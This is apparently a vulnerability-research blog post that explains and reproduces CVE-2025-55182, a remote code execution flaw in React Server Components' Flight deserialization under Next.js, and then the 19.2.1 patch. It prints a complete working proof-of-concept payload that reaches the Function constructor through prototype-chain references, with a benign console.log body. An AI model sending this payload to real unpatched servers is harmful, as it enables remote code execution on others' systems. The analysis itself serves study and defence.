React2Shell(CVE-2025-55182) Review
Analysis and reproduction of CVE-2025-55182
Overview
This post explains and reproduces React2Shell, CVE-2025-55182, the vulnerability that set the internet ablaze last year. React2Shell received a whopping perfect 10.0 under CVSS 3.1.
This post is based on a Next.js server running a vulnerable version.
The lab code is available on GitHub.
Flight Protocol
First, to understand React2Shell, we need to understand the Flight Protocol used by React Server Components. Flight is the serialization format React uses to exchange values between the server and the client. The server sends component rendering results in the Flight format, and the client sends Server Function arguments in that format.
React2Shell is a vulnerability in the process of interpreting arguments received from the client on the server. Deserializing a value received by the server in Flight does not end with JSON parsing. For example, a string like "$1" refers to another model.
Suppose the server receives the following fields.
Field 0 : {"profile" : "$1"}Field 1 : {"name" : "gl4ss"}While restoring Field 0, the server encounters "$1" in profile, finds Field 1, and restores it. The final value restored by the server is as follows.
{ profile: { name: "gl4ss" }}There are other functions besides simple model references. "$@3" returns the Chunk object corresponding to ID 3, and "$B3" finds a Blob stored in FormData. React interprets these notations while receiving data and restores the model’s value.
Original parseModelString() code
Root Cause
The Root Cause in the vulnerable version is that it did not limit the range of properties a Flight reference could read. A reference sent by the client points to the value of another model or a property within it. In React 19.2.0, getOutlinedModel() handles the property path as follows.
let value = chunk.value;for (let i = 1; i < path.length; i++) { value = value[path[i]];}createModelResolver(), which handles pending references, also reads properties with value = value[path[i]].
Because value[path[i]] is an ordinary JS property lookup, it can access both an object’s own properties and properties inherited from its prototype. The interesting part is that reviveModel() in the same file uses hasOwnProperty() to check whether a property belongs directly to an object when iterating over it, but neither of the two functions that read a reference path performs this check.
Original getOutlinedModel() code, original createModelResolver() code
Steps To RCE
Let’s look at poc.py in the GitHub Repo. The payload that poc.py sends to the server is as follows.
{ '0': '$1', '1': { 'status':'resolved_model', 'reason':0, '_response':'$4', 'value':'{"then":"$3:map","0":{"then":"$B3"},"length":1}', 'then':'$2:then' }, '2': '$@3', '3': [], '4': { '_prefix':'console.log(91455)//', '_formData':{ 'get':'$3:constructor:constructor' }, '_chunks':'$2:_response:_chunks', }}$1 in Field 0 requests the value of model 1, while Field 1 is parsed as an ordinary JSON object. In this post, object 1 means the ordinary object restored from this field. It is separate from Chunk 1, which React created. Once the references inside the object have been resolved, its main properties are as follows.
1.status == 'resolved_model'1.reason == 01._response == fake response restored from Field 41.value == '{"then":"$3:map","0":{"then":"$B3"},"length":1}'1.then == Chunk.prototype.thenLet’s see how Chunk.prototype.then ends up in 1.then.
$2:then reads then from the value of Chunk 2. $@3 in Field 2 returns Chunk 3 itself, not the empty array []. Chunk 2’s value therefore contains the Chunk 3 object.
Original $@ handling code
In the end, $2:then looks for then on Chunk 3. Chunk 3 inherits from Chunk.prototype, so the value it reads is Chunk.prototype.then.
$2:then -> Chunk 2.value(Chunk 3) -> Chunk 3.then -> Chunk.prototype.thenCalling then on Chunk 0
Since the target server in this post is Next.js using a vulnerable version of React, this post follows Next.js.
The code to look at is the part of the Next.js 16.0.6 Node runtime that handles multipart Server Action requests.
The PoC sends a next-action: x header and a multipart body. Next.js classifies the request as a fetch-style Server Action and passes the body to decodeReplyFromBusboy(). decodeReplyFromBusboy() calls resolveField() for each Busboy field event and returns getRoot(response). The return value of getRoot() is Chunk 0. This request has no file entries, so Fields 0 through 4 arrive as string fields.
Original decodeReplyFromBusboy() code, original getRoot() code
await decodeReplyFromBusboy(...) -> Chunk 0.then(resolve, reject) -> restore Field 0 "$1" -> return object 1The value of Chunk 0 is the ordinary object restored from Field 1, which "$1" points to. When await calls Chunk 0’s then, React keeps resolve until the value is ready. Once the reference is resolved, resolve(object 1) is called. The order in which fields arrive does not necessarily match the order in which Chunks are fully restored. When a reference points to a field that has not arrived yet, React waits for that Chunk.
Original resolveModelChunk() function, original getOutlinedModel() function
JavaScript also checks the then of the object passed to resolve. Object 1’s then contains Chunk.prototype.then. The function is called again with object 1 as this.
Chunk 0.then(...) -> resolve(object 1) -> object 1.then(...) = Chunk.prototype.then.call(object 1, ...)Restoring the fake Chunk’s value
When this.status is resolved_model, Chunk.prototype.then calls initializeModelChunk(this).
Let’s look at object 1 again.
1.status == 'resolved_model'1.reason == 01._response == fake response restored from Field 41.value == '{"then":"$3:map","0":{"then":"$B3"},"length":1}'1.then == Chunk.prototype.thenObject 1 has status, value, reason, and _response all nicely filled in for Chunk.prototype.then. It is not a real Chunk created by React, but the properties this function needs are filled in just right.
Original Chunk.prototype.then() function
The key part of initializeModelChunk() is as follows.
const rootReference = chunk.reason === -1 ? undefined : chunk.reason.toString(16);const resolvedModel = chunk.value;
chunk.status = CYCLIC;chunk.value = null;chunk.reason = null;
const rawModel = JSON.parse(resolvedModel);const value = reviveModel( chunk._response, { '': rawModel }, '', rawModel, rootReference);Here, chunk points to object 1. The following steps then occur.
JSON.parse()turns1.valueinto an object and stores it inrawModel(until then, it remained a string)1.reason = 0makesrootReference"0"chunk._response, passed toreviveModel(), is1._response, the fake response created from Field 4
Original initializeModelChunk() function
Constructing the fake response
The fake response’s properties are created as follows.
'4': { '_prefix':'console.log(91455)//', '_formData':{ 'get':'$3:constructor:constructor' }, '_chunks':'$2:_response:_chunks',}The object that becomes the value of Chunk 4 has the following properties.
4._prefix == 'console.log(91455)//'4._formData == { get: Function }4._chunks == React's internal response._chunks4._prefixreceives the stringconsole.log(91455)//as it is.4._formDatais restored as an ordinary object. The value of itsgetproperty,'$3:constructor:constructor', is a reference that reads two properties from the value of Chunk 3. It is interpreted as follows.
$3 = []$3:constructor = []['constructor'] = Array$3:constructor:constructor = Array['constructor'] = FunctionThus, 4._formData.get contains the Function constructor.
- Following
4._chunksone step at a time gives the following result.
$2 == Chunk_3$2:_response == Chunk_3._response == React's internal response$2:_response:_chunks == Chunk_3._response._chunks == React's internal response._chunks = Chunk MapFor reference, the Chunk constructor is as follows.
function Chunk(status, value, reason, response) { this.status = status; this.value = value; this.reason = reason; this._response = response;}Chunk 3 keeps the internal response that React created while restoring the input in _response. $2:_response:_chunks follows that property and obtains the Chunk Map from the internal response. The Chunk Map is needed later when $3:map is processed inside 1.value.
Restoring the value of object 1
Next, let’s look at how the references in 1.value are interpreted.
1.value = '{"then":"$3:map","0":{"then":"$B3"},"length":1}'$3:map
The first reference in the inner JSON, $3:map, reads map from the value of Chunk 3, [].
$3 == []$3:map == []['map'] == Array.prototype.mapAfter the JSON stored in 1.value is parsed, reviveModel() interprets "$3:map". At this point, getOutlinedModel() calls getChunk(1._response, 3). Because the Chunk Map was set in 1._response._chunks, getChunk() returns the existing Chunk 3, letting $3 refer to [].
When it looks for map on the empty Array, it finds it through the prototype chain. The value of $3:map therefore becomes Array.prototype.map.
$B3
Next is the processing of $B3. $B is originally the branch for handling Blob references. This branch does not call getChunk(); it directly calls _formData.get() on the supplied 1._response.
const id = parseInt(value.slice(2), 16);const blobKey = response._prefix + id;return response._formData.get(blobKey);This is how the code actually handles a Blob reference. Let’s substitute the payload we sent into this process.
idreceives the number 3.blobKeyreceives1._response._prefix + id, or"console.log(91455)//3".response._formData.getcontains theFunctionconstructor.- The return value is therefore
Function('console.log(91455)//3').
In JavaScript,//starts a comment, so the trailing 3 is commented out.
As a result, the object stored in 1.value is as follows.
{ then: Array.prototype.map, 0: { then: Function('console.log(91455)//3') }, length: 1}thenable chain
All the pieces are now in place. $B3 has called Function('console.log(91455)//3') to create a function. Now we only need to run that function to complete the RCE.
Chunk.prototype.then passes the restored 1.value to resolve.
Original Chunk.prototype.then() code
case INITIALIZED: resolve(chunk.value); breakThe value passed here is the object stored in 1.value. Here it is again.
{ then: Array.prototype.map, 0: { then: Function('console.log(91455)//3') }, length: 1}This object has a then, so JavaScript calls then again. The function it calls is Array.prototype.map. map can also process a non-array object if it has a length and numeric keys. Here, length is 1 and there is a value at index 0, so it calls the callback once for that value.
1.value.then(resolve, reject)== Array.prototype.map.call(1.value, resolve, reject)The first argument to map is the resolve passed by the Promise. map therefore reads the value at index 0 and makes the following call. The second argument, reject, takes the thisArg position of map.
resolve(1.value[0], 0, 1.value)The value at index 0 is also an object with a then. That then holds the function created by $B3. JavaScript treats this object as a thenable again and calls the function. At this point, the path that executes console.log(91455) in the function body is established.
The path can be summarized as follows.
call then on object 1 -> resolve(1.value) -> call Array.prototype.map -> resolve(1.value[0]) -> call then on 1.value[0] -> run the function created by $B3
This is a screenshot of running poc.py against the local vulnerable server. The server log shows 91455, confirming that the code in the PoC ran on the server.
The 19.2.1 patch
In 19.2.0, getOutlinedModel() read properties named in a path without checking whether the object owned them directly. createModelResolver(), which handles pending references, read them the same way. That was the Root Cause.
value = value[path[i]];This let the code read inherited properties such as constructor and map on an empty array. 19.2.1 patched this part. If an intermediate value is a ReactPromise, it first extracts its value, then reads only properties the object owns directly. Ready references go through this check in getOutlinedModel(), and references that were pending go through it in fulfillReference().
Original 19.2.0 code, 19.2.1 getOutlinedModel(), 19.2.1 fulfillReference()
// The property lookup in 19.2.1const name = path[i];if (typeof value === 'object' && hasOwnProperty.call(value, name)) { value = value[name];}Now let’s follow the references used in the PoC again.
$3:constructor:constructorlooks forconstructoron[], the value of Chunk 3. The empty array does not ownconstructordirectly. When the check fails,valueremains[]. Thus,Functioncannot be placed in4._formData.get.- For
$2:_response:_chunks, the value of Chunk 2 is Chunk 3. Before reading the next property, 19.2.1 unwraps this Chunk to its value,[]. The empty array has no_response, so it cannot obtain the Chunk Map of React’s internal response. - The reference to
$2:thenis made while Chunk 2 is still pending.fulfillReference()waits until Chunk 3, the value of Chunk 2, is ready, unwraps it to[], and looks forthen. The empty array does not own athenproperty directly. Thus,Chunk.prototype.thenis not placed in object 1’sthen.
$3:constructor:constructor -> [] (does not reach Function)$2:_response:_chunks -> [] (does not reach the Chunk Map)$2:then -> [] (does not reach Chunk.prototype.then)The [] above is the value left in place when the property check fails. In this PoC, object 1’s then is not a function, so the second call to initializeModelChunk() described earlier does not follow. The inner JSON containing $3:map and $B3 is not restored along that path either.